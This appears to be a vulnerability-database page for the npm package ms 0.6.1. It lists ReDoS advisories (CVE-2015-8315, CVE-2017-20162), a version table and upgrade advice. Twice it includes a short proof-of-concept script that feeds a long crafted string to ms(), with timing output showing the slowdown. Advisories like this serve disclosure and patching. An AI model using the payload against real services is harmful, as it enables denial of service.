NodeJS/ms/0.6.1


Tiny millisecond conversion utility

https://www.npmjs.com/package/ms
MIT

3 Security Vulnerabilities

Regular Expression Denial of Service in ms

Published date: 2017-10-24T18:33:36Z
CVE: CVE-2015-8315
Links:

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string. ``` $ time node ms.js 10000

real 0m0.758s user 0m0.724s sys 0m0.031s

$ time node ms.js 20000

real 0m2.580s user 0m2.494s sys 0m0.047s

$ time node ms.js 30000

real 0m5.747s user 0m5.483s sys 0m0.080s

$ time node ms.js 80000

real 0m41.022s user 0m38.894s sys 0m0.529s ```

Affected versions: ["0.1.0", "0.2.0", "0.3.0", "0.4.0", "0.5.0", "0.5.1", "0.6.0", "0.6.1", "0.6.2", "0.7.0"]
Secure versions: [2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 3.0.0-beta.0, 3.0.0-beta.1, 3.0.0-beta.2, 3.0.0-canary.0, 3.0.0-canary.1]
Recommendation: Update to version 2.1.3.

Vercel ms Inefficient Regular Expression Complexity vulnerability

Published date: 2023-01-05T12:30:27Z
CVE: CVE-2017-20162
Links:

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.

Affected versions: ["0.1.0", "0.2.0", "0.3.0", "0.4.0", "0.5.0", "0.5.1", "0.6.0", "0.6.1", "0.6.2", "0.7.0", "0.7.1", "0.7.2", "0.7.3", "1.0.0"]
Secure versions: [2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 3.0.0-beta.0, 3.0.0-beta.1, 3.0.0-beta.2, 3.0.0-canary.0, 3.0.0-canary.1]
Recommendation: Update to version 2.1.3.

Regular Expression Denial of Service

Published date: 2015-10-24
CVEs: ["CVE-2015-8315"]
CVSS Score: 5.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Coordinating vendor: ^Lift Security
Links:

ms is vulnerable to regular expression denial of service (ReDoS) when extremely long version strings are parsed.

The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.[1]

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string. ``` $ time node ms.js 10000

real 0m0.758s user 0m0.724s sys 0m0.031s

$ time node ms.js 20000

real 0m2.580s user 0m2.494s sys 0m0.047s

$ time node ms.js 30000

real 0m5.747s user 0m5.483s sys 0m0.080s

$ time node ms.js 80000

real 0m41.022s user 0m38.894s sys 0m0.529s ```

Affected versions: ["0.1.0", "0.2.0", "0.3.0", "0.4.0", "0.5.0", "0.5.1", "0.6.0", "0.6.1", "0.6.2", "0.7.0"]
Secure versions: [2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 3.0.0-beta.0, 3.0.0-beta.1, 3.0.0-beta.2, 3.0.0-canary.0, 3.0.0-canary.1]
Recommendation: Update to version 0.7.1 or greater. An alternative would be to limit the input length of the user input before passing it into ms.

24 Other Versions

Version License Security Released
3.0.0-beta.2 MIT 2021-08-25 - 16:55 over 2 years
3.0.0-beta.1 MIT 2021-08-20 - 15:29 over 2 years
3.0.0-beta.0 MIT 2021-08-20 - 14:54 over 2 years
3.0.0-canary.1 MIT 2021-09-15 - 15:40 over 2 years
3.0.0-canary.0 MIT 2021-09-15 - 13:29 over 2 years
2.1.3 MIT 2020-12-08 - 13:54 over 3 years
2.1.2 MIT 2019-06-06 - 17:31 almost 5 years
2.1.1 MIT 2017-11-30 - 18:30 over 6 years
2.1.0 MIT 2017-11-30 - 16:54 over 6 years
2.0.0 MIT 2017-05-16 - 12:26 almost 7 years
1.0.0 MIT 1 2017-03-19 - 21:43 about 7 years
0.7.3 MIT 1 2017-03-08 - 21:59 about 7 years
0.7.2 MIT 1 2016-10-25 - 08:16 over 7 years
0.7.1 MIT 1 2015-04-20 - 23:38 about 9 years
0.7.0 MIT 3 2014-11-24 - 07:59 over 9 years
0.6.2 MIT 3 2013-12-05 - 15:57 over 10 years
0.6.1 MIT 3 2013-05-10 - 15:38 almost 11 years
0.6.0 MIT 3 2013-03-15 - 15:26 about 11 years
0.5.1 MIT 3 2013-02-24 - 20:27 about 11 years
0.5.0 MIT 3 2012-11-10 - 00:39 over 11 years
0.4.0 MIT 3 2012-10-22 - 17:01 over 11 years
0.3.0 MIT 3 2012-09-07 - 20:36 over 11 years
0.2.0 MIT 3 2012-09-03 - 20:33 over 11 years
0.1.0 MIT 3 2011-12-21 - 19:38 over 12 years